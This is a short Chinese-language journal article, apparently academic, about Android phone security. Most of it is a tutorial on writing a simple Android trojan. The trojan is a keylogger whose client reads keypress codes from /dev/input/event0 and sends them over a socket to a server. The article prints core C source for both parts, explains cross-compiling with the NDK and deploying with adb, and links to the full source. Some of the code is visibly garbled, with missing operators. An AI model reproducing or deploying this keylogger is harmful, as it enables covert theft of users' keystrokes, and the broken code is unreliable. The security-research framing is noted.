摘 要:隨著手機使用的普及,手機職能技術越來越先進,大部分手機都安裝了最為先進的智能系統,不僅可以通話,同時還具備多種上網功能、在線購物付款功能、在線炒股、在線轉賬等功能,這些功能的加入同時也使得手機的安全性越來越受到威脅,因此研究現階段智能手機的安全功能保障及相應的故障防衛編程成為智能手機發展的重要課題之一。
關鍵詞:安卓手機;木馬程序;編碼
中圖分類號:TP309.5 文獻標識碼:A 文章編號:1674-7712 (2013) 14-0000-01
在智能手機風生水起的時代,安卓智能手機占據了大部分席位,就最新統計的數據來看,Android智能手機在中國的占有率為86%。所以,正如Windows操作系統有如此多的用戶一樣,不可避免的會帶來安全性問題。隨著智能手機的普及,手機的安全性也變得越來越熱門和重要。
android系統是一個以Linux為基礎的半開源操作系統,其內核屬于Linux內核的一個分支,具有典型的Linux調度和功能。所以,一個Native C程序,經過交叉編譯,完全可以在Android系統上運行。
我們的目標是編寫一個簡單的手機木馬,這個木馬分為服務端和客戶端兩個部分,實現的功能是客戶端可以獲取手機的按鍵信息,并把信息發送給服務端。
核心源碼如下:
其實這個手機木馬就是通過socket連接來編寫的,socket部分大家都應該比較清楚了,那就講講字符處理的部分吧。
服務端部分:服務端的核心部就是接收客戶端發送的信息,并顯示出來。
int main(int argc, char *argv[]){ /*省略部分代碼,以下為核心代碼*/
while((len=recv(client_sockfd,buf,BUFSIZ,0))>0)
{ printf(\"%s\n\",buf); memset(buf,'\0',BUFSIZ);
if(send(client_sockfd,buf,len,0)<0)
{ perror(\"write\");return 1; } }
close(client_sockfd);close(server_sockfd);return 0;}
客戶端部分:客戶端的主要核心代碼部分就是循環讀取手機的字符存儲設備,并發送給服務端。
int main(void){ /*省略部分代碼,以下為核心代碼*/
event0_fd = open(\"/dev/input/event0\", O_RDWR);
if ( event0_fd < 0 ) return -1; printf(\"Start...\n\");
while (1){ rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);
if ( rd < sizeof(struct input_event) ) return 0;
for (i = 0; i < rd / sizeof(struct input_event); i++)
{if (ev0[i].type == 1ev0[i].value == 1)
{ printf(\"The key code is: %3d\n\", ev0[i].code);
if (ev0[i].code == 158){ break; }
memset(buf,'\0',BUFSIZ);sprintf(buf,\"%d\",ev0[i].code);
len=send(client_sockfd,buf,strlen(buf),0); }}}}
源碼中已經給出了很多注釋,下面就來簡單的分析一下源碼,其實就是簡單的Socket編程。
服務端程序就是不停的等待客戶端發送的信息,這里就不再贅述,重點來看一下客戶端程序。客戶端的核心功能是獲取手機的按鍵信息。
我們先拿起手機,在終端模擬器中鍵入:ls /dev/input,好的,我們看到了一些東西,比如event0,event1,event2等等,而event0正是我們所需要的,就是Android的按鍵子系統。
接下來就可以從/dev/input/event0中獲取我們所需要的信息了,這部分的關鍵代碼就是:
event0_fd = open(\"/dev/input/event0\", O_RDWR);
rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);
if ( rd < sizeof(struct input_event) ) return 0;
for (i = 0; i < rd / sizeof(struct input_event); i++)
{if (ev0[i].type == 1ev0[i].value == 1) {printf(\"The key code is: %3d\n\", ev0[i].code); if (ev0[i].code == 158){break;} }
然后通過send就可以向服務端發送所截取的信息了。
源碼就分析到這里了,接下來講講交叉編譯及adb的簡單使用。(Linux環境下進行)。
交叉編譯作者用的是Android NDK自帶的工具鏈中的arm-linux-androideabi-gcc,當然還有許多其他的編譯器可以選擇。服務端直接用gcc就可以了。
下面進行Makefile文件的部分分析,源碼見鏈接地址下載:見最后的鏈接地址。
Makefile中的NDKHOME即為存放android-ndk工具鏈的目錄,這個Makefile直接就將服務端和客戶端一同編譯了。服務端用gcc編譯器,客戶端用arm-linux-androideabi-gcc編譯。
將Makefile與服務端和客戶端放在同一文件夾,然后直接用make工具編譯一下就可以了。
說到adb,其實就是Android Debug Bridge,就是一款調試工具。在使用adb前需要在shell中添加環境變量。
ADB=’/home/young/Downloads/adt-bundle-linux-x86-20130219/sdk/platform-tools’
PATH=$PATH:$ADB
環境變量根據自己系統環境自己修改即可。
接下來,我們打開Android模擬器,然后在linux 終端中鍵入adb shell就進入了模擬器中的shell環境,當然在這之前,先得把編譯好的客戶端程序傳到模擬器中去。命令如下:
adb push client /dev/client這樣客戶端程序就成功上傳上去了。
接下來在linux終端中運行server,在adb shell進入的模擬器終端中執行client就可以看到程序互動了。
備注:文章中代碼可能比較亂,源碼可以去以下網址下載:
http://pan.baidu.com/share/link?shareid=2491385791uk=825210736
參考文獻:
[1]李志鋒,林恩華.智能手機的數據業務分析手段[J].科技情報開發與經濟,2011(07).
[2]周曉宇.智能手機的信息安全風險及監管對策研究[J].黑龍江科技信息,2010(20).
[3]莊小嵐.智能手機面臨安全威脅[J].信息安全與通信保密,2011(03).
[4]李群祖,于劉海.智能手機惡意代碼分析與對策[J].計算機安全,2011(06).
[作者簡介]吳棟,杭州電子科技大學,研究方向:計算機安全、手機安全、windows編程、linux編程。